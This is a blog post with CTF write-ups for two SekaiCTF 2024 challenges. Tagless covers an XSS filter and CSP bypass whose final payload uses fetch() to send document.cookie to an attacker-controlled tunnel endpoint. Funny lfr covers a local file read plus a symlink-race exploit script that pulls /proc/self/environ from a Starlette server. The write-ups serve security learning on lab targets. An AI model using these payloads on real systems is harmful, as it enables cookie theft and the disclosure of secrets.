SekaiCTF 2024 challenges

These are my writeups for SekaiCTF 2024. The event took place from Sat, 24 Aug. 2024 01:00 JST until Mon, 26 Aug., 2024 01:00 JST.

SekaiCTF 2024 Tagless Writeup

This is a writeup for the SekaiCTF 2024 Tagless challenge.

Challenge Notes

Tagless

Who needs tags anyways

Author: elleuch

Solution Summary

Despite a sound Content Security Policy (CSP) in place, the application was susceptible to four vulnerabilities:

These vulnerabilities allowed me to retrieve the flag.

Recommended measures for system administrators:

Solution

Download and run app

We download the application source code from the following URL

https://2024.ctf.sekai.team/files/9822f07416cd5d230d9b7c9a97386bba/dist.zip

We review the contents of archive:

unzip -l dist.zip

Archive:  dist.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      758  08-16-2024 11:19   Dockerfile
       60  08-16-2024 11:19   build-docker.sh
       59  08-16-2024 11:19   requirements.txt
        0  08-16-2024 11:19   src/
     1277  08-16-2024 11:19   src/app.py
      987  08-16-2024 11:19   src/bot.py
        0  08-16-2024 11:19   src/static/
     1816  08-16-2024 11:19   src/static/app.js
        0  08-16-2024 11:19   src/templates/
     1807  08-16-2024 11:19   src/templates/index.html
---------                     -------
     6764                     10 files

The archive contains the following parts:

Let’s build and run Tagless using the Dockerfile together with podman:

mkdir dist.zip.unpacked
unzip dist.zip -d dist.zip.unpacked
podman build --tag tagless --file dist.zip.unpacked/Dockerfile
podman run -p 5000:5000 --name tagless tagless

Understanding the / page script

Screenshot of the page served at /

Screenshot of the page served at / Open in new tab (full image size 68 KiB)

The / landing page can be passed the query parameters fulldisplay, and auto_input.

We investigate src/static/app.js to understand exactly what happens when the landing page loads. Here’s the annotated and slightly abbreviated version to show the code path that we are interested in:

// src/static/app.js
function sanitizeInput(str) {
  str = str
    .replace(/<.*>/gim, "")
    .replace(/<\.*>/gim, "")
    .replace(/<.*>.*<\/.*>/gim, "");
  return str;
}

function autoDisplay() {
  const urlParams = new URLSearchParams(window.location.search);
  const input = urlParams.get("auto_input");
  displayInput(input);
}

function displayInput(input) {
  const urlParams = new URLSearchParams(window.location.search);
  const fulldisplay = urlParams.get("fulldisplay");

  var sanitizedInput = "";
  sanitizedInput = sanitizeInput(input);
  var iframe = document.getElementById("displayFrame");
  var iframeContent = `
        <!DOCTYPE html>
        <head>
            <title>Display</title>
            <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet">
            <style>
                body {
                    font-family: 'Press Start 2P', cursive;
                    color: #212529;
                    padding: 10px;
                }
            </style>
        </head>
        <body>
            ${sanitizedInput}
        </body>
    `;
  iframe.contentWindow.document.open("text/html", "replace");
  iframe.contentWindow.document.write(iframeContent);
  iframe.contentWindow.document.close();

  if (fulldisplay && sanitizedInput) {
    var tab = open("/");
    tab.document.write(
      iframe.contentWindow.document.documentElement.innerHTML,
    );
  }
}

autoDisplay();

When the landing page loads with a URL of the form /?autodisplay&auto_input=XSS, the above script will do the following:

  1. Call autoDisplay()
  2. Retrieve the auto_input URL query parameter.
  3. Retrieve the fulldisplay URL query parameter.
  4. Sanitize auto_input in sanitizeInput() by:
  5. Removing all strings of the form <TAG> or <> using the regular expression <.*>.
  6. Removing all strings of the form <.TAG> or <.> using the regular expression <\.*> (typo?).
  7. Remove all strings of the form <TAG>...</TAG> or just <></> using the regular expression <.*>.*<\/.*>.
  8. Create a new <iframe> with some standard HTML and the sanitized input created above inserted into the <body> tag.
  9. Open the <iframe> in a new window using open("/").document.write()

The (abbreviated) <iframe> contents will therefore look like the following, for input auto_input=XSS:

<!doctype html>
<head>
  <title>Display</title>
  <!-- ... -->
</head>
<body>
  XSS
</body>

HTML tag-like things are stripped hmmmmmm

HTML tag-like things are stripped hmmmmmm Open in new tab (full image size 69 KiB)

We note at this point, that the regular expressions above have on fatal flaw. The period character . matches anything, except for newline-like characters. If the snippet we pass contains a tag like <script>window.alert()</script>, it will get filtered out.

If we instead add a few carriage return in the right spot, we can fool our sanitizeInput() function into leaving us alone. After messing around in regex101 for a while, I came up with the following prototype injection:

<script\x0d>window.alert()</\0x0dscript>

Where \0x0d indicates a carriage return insertion. Inserted into a URL, this will look like the following:

/?autodisplay&auto_input=<script%0d>window.alert()</%0dscript>

Understanding the /report endpoint

Next, we study the Python application’s source code to see how we can leverage the above sanitization circumvention into a reflected XSS attack.

Here’s the annotated source for report() in src/app.py:

# src/app.py
@app.route("/report", methods=["POST"])
def report():
    # The actual Bot() code is described further below
    bot = Bot()
    # Require `url` x-www-url-form-encoded parameter
    url = request.form.get('url')
    if url:
        try:
            parsed_url = urlparse(url)
        # URL must be
        # 1. valid URL
        except Exception:
            return {"error": "Invalid URL."}, 400
        # 2. start with http/https
        if parsed_url.scheme not in ["http", "https"]:
            return {"error": "Invalid scheme."}, 400
        # 3. must be localhost or 127.0.0.1
        if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
            return {"error": "Invalid host."}, 401

        # the bot visits the page, but nothing else
        bot.visit(url)
        bot.close()
        return {"visited":url}, 200
    else:
        return {"error":"URL parameter is missing!"}, 400

The report endpoint is a typical XSS bot endpoint used in CTFs. It is meant to simulate another user opening a link that we provide and triggering a reflected XSS injection.

For example, if we pass the URL http://localhost:5000 to the /report endpoint, the application spawns a headless browser and visits the URL.

We can achieve this with Curl using the following command:

curl http://localhost:5000/report --data 'url=http://localhost:5000'

To understand what happens when the bot visits the page using bot.visit(url), we look at the Bot class source in src/bot.py

from selenium import webdriver
#...
class Bot:
    def __init__(self):
        chrome_options = Options()
        # ...
        self.driver = webdriver.Chrome(options=chrome_options)

    def visit(self, url):
        # Visit the application's landing page
        self.driver.get("http://127.0.0.1:5000/")
        # Add a document.cookie containing the challenge flag
        self.driver.add_cookie({
            "name": "flag",
            "value": "SEKAI{dummy}",
            "httponly": False
        })
        # Retrieve the url passed to us in the `/report` POST request
        self.driver.get(url)
        # Wait a bit, and we are finished
        time.sleep(1)
        self.driver.refresh()
        print(f"Visited {url}")
# ...

If we want to read out the cookie, we need to craft a JavaScript payload that will read out document.cookie and send it to an endpoint we provide it using fetch().

We then insert this payload into the landing page /?auto_input=XSS query parameter, and instruct the /report endpoint to open it using the Bot():

curl http://127.0.0.1:5000/report \
  --data 'url=http://127.0.0.1:5000/?fulldisplay&auto_input=XSS'

In comes a CSP

Unfortunately, while we were dreaming about solving this challenge after only a few minutes, we realize that a Content Security Policy (CSP) is in place, preventing us from injecting untrusted scripts:

# src/app.py
@app.after_request
def add_security_headers(resp):
    resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
    return resp

The relevant CSP that blocks untrusted JavaScript execution is:

script-src `self`;

With the above code, a browser is instructed to ignore any script sources that do not come from the page’s origin at http://127.0.0.1:5000. Should we now try to inject a JavaScript snippet like the following, it will not work:

<script>
  window.alert("xss");
</script>

The browser will refuse to run the above piece of JavaScript, because the CSP disallows unsafe-inline execution and only permits self. Read more about available CSP source values on MDN.

Therefore, opening the following URL will not work, even if we are able to circumvent the script tag filtering:

http://127.0.0.1:5000/?autodisplay&auto_input=<script%0d>window.alert()</%0dscript>

The only way we can execute JavaScript is by making it “look” like it comes from the application origin itself.

Exploiting the 404 endpoint

We direct our attention towards the 404 endpoint. This is the source code for the application’s 404 error handler:

@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"

This will return a 404 HTTP response and a nicely formatted response body. If we open the non-existing URL /does-not-exist, it will dutifully return:

/does-not-exist not found

We can feed this URL anything, really anything, and it will give us the text back, unchanged. Including something that looks like JavaScript:

http://127.0.0.1:5000/a/;window.alert();//

We receive the following response when opening the above URL:

/a/;
window.alert(); // not found

That is perfectly valid JavaScript. We turn the path starting with a / into a stranded regular expression literal, and the trailing not found into a nice little comment. This way, we can create any JavaScript snippet and make it look like it comes from the same origin.

We have therefore found a way to defeat the content security policy.

Missing MIME type hardening

It’s easy to forget about MIME type sniffing

Even better, the application conveniently forgets to instruct the browser to ignore Content-Type mime types when evaluating the above not found URL. X-Content-Type-Options should have been set.

The error page is served as a Content-Type: text/plain, but our browser thinks its smarter and will gladly interpret it as Content-Type: application/javascript instead. That’s why hardening applications is so important.

Crafting the XSS payload

We have achieved the following four things:

A little hiccup that I had was swapping localhost and 127.0.0.1 while working on this challenge. It is very important to observe that cookie domains are not interchangeable, even for localhost. The Bot’s cookie is set for 127.0.0.1 because of the following snippet in Bot.visit(self, url):

self.driver.get("http://127.0.0.1:5000/")
# Add a document.cookie containing the challenge flag
self.driver.add_cookie({
    "name": "flag",
    "value": "SEKAI{dummy}",
    "httponly": False
})

We spin up a request catcher using tunnelto.dev. I prefer it over ngrok for two reasons:

  1. It’s much cheaper than ngrok ($4 per month).
  2. The client is free software and available on nixpkgs.

I prefer free software for many reasons. NixOS rightfully complains about running the non-free ngrok with long-winded warnings texts when trying to install it.

We start a challenge instance on tagless-XXXXXXXXXXXX.chals.sekai.team, and launch tunnelto with socat listening.

# Launch tunnelto
tunnelto --subdomain XXXXXXXXXXX --port 4444
# Launch socat
socat -v -d TCP-Listen:4444,fork STDIO

We craft the final payload and store it in payload.txt:

// payload.txt
http://127.0.0.1:5000/?fulldisplay=1&auto_input=<script src="http://127.0.0.1:5000/a/;fetch('https://XXXXXXXX.tunnelto.dev/'.concat('',document.cookie));//"%0d/></script%0d>hello

Broken apart, the payload is:

// the `/` page url
const url = "http://127.0.0.1:5000/?fulldisplay=1&auto_input=";
// the script we make the 404 handler generate for us
const innerScript =
  "fetch('https://XXXXXXXX.tunnelto.dev/'.concat('',document.cookie))";
// the URL that will return the above script
const errorUrl = `http://127.0.0.1:5000/a/;${innerScript};//`;
// the script tag we inject into the iframe
const outerScript = `<script src="${errorUrl}"%0d/></script%0d>`;
// the full payload we want to pass to `/report`
const payload = `${url}${outerScript}`;

“URL!” “Script!” “Payload!” “Evasion!”
“Go Captain XSS!”

“By your powers combined, I am Captain XSS!”

Since we don’t like messing with URL escapes too much, we let Curl handle the task for us using the --data-urlencode flag:

curl https://tagless-XXXXXXXXXXXX.chals.sekai.team/report \
    --data-urlencode url@payload.txt

socat receives the flag, and we are warmed up without tags.

SekaiCTF 2024 Funny lfr Writeup

This is a writeup for the SekaiCTF 2024 Funny lfr machine.

Challenge Notes

Funny lfr

Author: irogir

❖ Note You can access the challenge via SSH: ncat -nlvp 2222 -c "ncat --ssl funny-lfr.chals.sekai.team 1337" & ssh -p2222 user@localhost

SSH access is only for convenience and is not related to the challenge.

Solution Summary

Starlette’s FileResponse does not handle files swapped out under it very well. This can be used to trick it into reading out 0-size files, such as files contained in the /proc file system. We read out the flag from /proc/self/environ using this method and solve the challenge.

Solution

The steps to solving this challenge are:

  1. Investigate the source code.
  2. Test the local file inclusion mechanism.
  3. Understand how /proc file system file sizes work.
  4. Inspect the challenge machine on chals.sekai.team.
  5. Identify the conditions for triggering a race condition.
  6. Craft an exploit script and run it on a challenge machine.

Inspecting the Dockerfile and application script

First, we download the Dockerfile and app.py from the following URLs:

The application is quite simple and just serves any file that the user requests:

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse


async def download(request):
    return FileResponse(request.query_params.get("file"))


app = Starlette(routes=[Route("/", endpoint=download)])

The application mainly relies on these three libraries:

To make debugging simpler, we adjust the Dockerfile a bit to use a full Debian install and come up with the following:

FROM debian:12

RUN apt update
RUN apt install -y python3 python3-pip python3-venv
RUN python3 -m venv /venv
RUN /venv/bin/pip install --no-cache-dir starlette uvicorn

WORKDIR /app

COPY app.py .

ENV FLAG="SEKAI{test_flag}"

CMD ["/venv/bin/uvicorn", "app:app", "--host", "0", "--port", "1337"]

The application is started up with the challenge flag in its process environment. The challenge can be solved by tricking the application into reading out its process environment and returning it in a HTTP response.

Testing for local file inclusion (LFI)

The Dockerfile builds and runs with podman using the following commands:

podman build --file Dockerfile -t funnylfr
podman run --replace -p 1337:1337 --name funnylfr funnylfr

Once the Funny lfr machine is running, we try to see if file inclusion works by running the following:

curl "localhost:1337/?file=/etc/passwd"

To no big surprise, the contents of /etc/passwd are returned.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

About /proc file system file sizes

But, the FLAG environment variable is in the process environment, not in a file. On Linux, processes can read out various information about themselves using the /proc file system. Conveniently, the current process can be found in /proc/self. To read out the current processes environment variables, we can run

cat /proc/self/environ

Wouldn’t it be nice if the following command gave us the flag?

curl "localhost:1337/?file=/proc/self/environ"

Unfortunately, it won’t. Starlette’s FileReponse class needs to know the file size in advance to generate a correct Content-Length HTTP header. Since files in /proc have generally a 0 size (with few exceptions), the size can not be known ahead of the time and the file has to be read out first.

For the above reason, the following response can not be resolved correctly in Starlette:

FileResponse("/proc/self/environ")

Starlette will then wrongly think that the file has size 0, and act all surprised and error out when there is something to read. Since Starlette’s FileResponse does not support streaming responses and has to read the whole file, the download request at / will crash. Interestingly, it will not crash visibly to the user, unless we purposefully read “too much” of the HTTP response.

HTTP responses are not meant to have their body read if the Content-Length is 0. In hindsight that makes sense, yo. The same goes for a fun bug where applications refuse to read the body of HTTP responses with the code 204 No Content. Again, that makes sense, since you would not tell a browser No Content and then give it a content, but it’s still somewhat surprising to most users.

Stack Overflow: Why does Firefox have a problem with this 204 (No Content) response?

Before continuing with this conundrum, we poke around the machine a bit and connect to a freshly spawned instance.

Inspecting the machine

We use the SSH connection string as suggested by the challenge notes and connect to a our instance:

ncat -nlvp 2222 -c "ncat --ssl funny-lfr-XXXXXXXXXXXX.chals.sekai.team 1337" &
  ssh -p2222 user@localhost

We see that this machines runs on Kubernetes, judging by the contents of the /etc/hosts file:

user@funny-lfr-XXXXXXXX-700:~$ df
Filesystem     1K-blocks     Used Available Use% Mounted on
overlay         98831908 44033516  54782008  45% /
tmpfs              65536        0     65536   0% /dev
/dev/sda1       98831908 44033516  54782008  45% /etc/hosts
shm                65536        0     65536   0% /dev/shm
tmpfs           32926984        0  32926984   0% /proc/acpi
tmpfs           32926984        0  32926984   0% /proc/scsi
tmpfs           32926984        0  32926984   0% /sys/firmware
user@funny-lfr-XXXXXXXX-700:~$ cat /etc/hosts
# Kubernetes-managed hosts file. <------ kubernetes yoooo
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.0.1.75       funny-lfr-XXXXXXXX-700

Finding a race condition

Investigating the code and determining why Starlette tries to return a response at all, if the file is empty, we stumble upon these pieces of code:

# h11/_writers.py
# ...
class ContentLengthWriter(BodyWriter):
    # ...
    def send_data(self, data: bytes, write: Writer) -> None:
        self._length -= len(data)
        if self._length < 0:
            raise LocalProtocolError("Too much data for declared Content-Length")
        write(data)
# ...

Writing the Content-Length header appears to be delegated to the h11 library. On the other hand, Starlette appears to first determine the size of the file using os.stat, and then awkwardly sends the file over to the client, even if it has 0 bytes:

# starlette/responses.py
# ...
class FileResponse(Response):
    # ...
    def __init__(
        self,
        path: str | os.PathLike[str],
        # ...
    ) -> None:
        # ...
        self.stat_result = stat_result
        if stat_result is not None:
            self.set_stat_headers(stat_result)

    def set_stat_headers(self, stat_result: os.stat_result) -> None:
        # HTTP header Content-Length comes from os.stat()
        content_length = str(stat_result.st_size)
        # ....
        self.headers.setdefault("content-length", content_length)
        # ...

    async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
        if self.stat_result is None:
            try:
                stat_result = await anyio.to_thread.run_sync(os.stat, self.path)
                self.set_stat_headers(stat_result)
            # ...
        await send(
            {
                "type": "http.response.start",
                "status": self.status_code,
                "headers": self.raw_headers,
            }
        )
        # ...
            async with await anyio.open_file(self.path, mode="rb") as file:
                more_body = True
                while more_body:
                    # !!!!!
                    # Starlette will try to read out the full file, even if
                    # the os.stat() size is 0!
                    chunk = await file.read(self.chunk_size)
                    more_body = len(chunk) == self.chunk_size
                    await send(
                        {
                            "type": "http.response.body",
                            "body": chunk,
                            "more_body": more_body,
                        }
                    )
        # ...

Calling send, receive, invoke h11 code, including the one shown above. The h11 and Starlette interoperability is brokered by uvicorn.

The fact that Starlette reads out the file size, and then still reads file chunks even if the file size is 0 suggests that the FileResponse code is vulnerable to a race condition.

We can trigger the above h11 response error, by running the following Curl invocation:

curl --http0.9 "localhost:1337/?file=/proc/self/environ" \
  "localhost:1337/?file=/proc/self/environ"

By reading too much from the first request, we provoke the application into running FileResponse.__call__() until the end and triggering the h11 exception as shown below in the application log. Of course the Curl client notices nothing and receives a 200 OK response every time.

INFO:     127.0.0.1:56022 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK
ERROR:    Exception in ASGI application
[...]
  File "/usr/local/lib/python3.9/site-packages/starlette/responses.py", line 348, in __call__
    await send(
  File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/starlette/_exception_handler.py", line 50, in sender
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/starlette/middleware/errors.py", line 161, in _send
    await send(message)
  File "/usr/local/lib/python3.9/site-packages/uvicorn/protocols/http/h11_impl.py", line 503, in send
    output = self.conn.send(event=h11.Data(data=data))
  File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 512, in send
    data_list = self.send_with_data_passthrough(event)
  File "/usr/local/lib/python3.9/site-packages/h11/_connection.py", line 545, in send_with_data_passthrough
    writer(event, data_list.append)
  File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 65, in __call__
    self.send_data(event.data, write)
  File "/usr/local/lib/python3.9/site-packages/h11/_writers.py", line 91, in send_data
    raise LocalProtocolError("Too much data for declared Content-Length")
h11._util.LocalProtocolError: Too much data for declared Content-Length
INFO:     127.0.0.1:56026 - "GET /?file=/proc/self/environ HTTP/1.1" 200 OK

The following is Starlette’s FileResponse behavior when reading /proc file system files:

  1. A client requests a file /proc/self/environ file from the application.
  2. The file size is evaluated (size 0) and stored in the FileResponse class instance.
  3. The headers are set and sent using h11 (await send({"type": "http.response.start"})) inside FileResponse.call().
  4. The file is read out in the same function using anyio.open_file() and read out chunk by chunk (await file.read(self.chunk_size) and sent using h11 (await send({"type": "http.response.body", ...})).
  5. h11 will complain that there is nothing to return and crash the request with “Too much data for declared Content-Length”.

If we can convince Starlette that the file has a proper size, we can have it read out the whole file. /proc file system file sizes are set in stone, but we can give it a different file with the correct size, have it os.stat its size, and then swap it out for a symbolic to /proc/self/environ.

Our evil exploit plan will try to trigger the following behavior:

  1. Our evil exploit chooses an arbitrary size i.
  2. Our evil exploit writes a canary file containing i times the ASCII character f in /tmp/pwnage (classic debug trick: write easy to spot ASCII chars).
  3. Our evil exploit requests the file /tmp/pwnage file from the application.
  4. The file size is evaluated (size i) and stored in the FileResponse class instance.
  5. The headers are set and sent using h11 (await send({"type": "http.response.start"})) inside FileResponse.call().
  6. Our evil exploit swaps out /tmp/pwnage and places a symbolic link to /proc/self/environ there instead.
  7. The file is read out in the same function using anyio.open_file() and read out chunk by chunk (await file.read(self.chunk_size) and sent using h11 (await send({"type": "http.response.body", ...})).
  8. If the file could not be read out, try a different size i and go to step 2
  9. Our evil exploit receives the flag in /proc/self/environ through the /tmp/pwnage symbolic link.

Crafting an exploit Python script

We know that we have to stall the application as much as possible between sending the response header and body. We craft the following exploit in Python:

import os
import os.path
import http.client
import tempfile
from typing import Optional

# The file that we'd like to read out:
target = '/proc/self/environ'
# The smallest size of `i` that we try
min_len = 4
# The largest size of `i` that we try
max_len = 2000

def attempt(len: int) -> Optional[bytes]:
    conn = http.client.HTTPConnection("localhost", 1337)
    try:
        while True:
            with tempfile.TemporaryDirectory() as tmpdir:
                read_here_path = os.path.join(tmpdir, "read_here")
                symlink_path = os.path.join(tmpdir, "target")
                # 1. Given size `i`,
                # 2. Create the canary file
                canary = b'f' * len
                with open(read_here_path, "wb") as fd:
                    fd.write(canary)
                    fd.close()
                os.symlink(target, symlink_path)
                # 3. Request the file from the server
                # 4. Starlette will think that the file has length `i`
                # 5. Starlette sends Content-Length: `i` header back
                conn.request("GET", "/?file=" + read_here_path)
                response = conn.getresponse()
                # 6. Swap the canary file with symlink to `/proc/self/environ`
                os.replace(symlink_path, read_here_path)
                # 7. Starlette gives us the target file now
                data = response.read(len)
                # 8. If the file is full of our canary `f` ASCII character, we
                # know that the race condition was not triggered
                if data == canary:
                    print("try again")
                # 8. If the file is empty, we know that we triggered the race
                # condition, but guessed the wrong length
                elif data == b"":
                    print("almost", len)
                    return None
                # 9. If we have a proper answer, we have our file:
                else:
                    print("yes", len)
                    return data
    finally:
        conn.close()

def main():
    # Try from 4 ... 2000 until we receive a proper response
    for i in range(min_len, max_len):
        result = attempt(i)
        if result is not None:
            print(result)
            return


if __name__ == "__main__":
    main()

We connect to the Funny lfr instance, copy the exploit, and run it there by pasting the following snippet into the shell:

cat > client.py <<EOF
# script from above goes here
EOF
python3 client.py

The script runs for a while, extracts the process environment, and we retrieve the flag.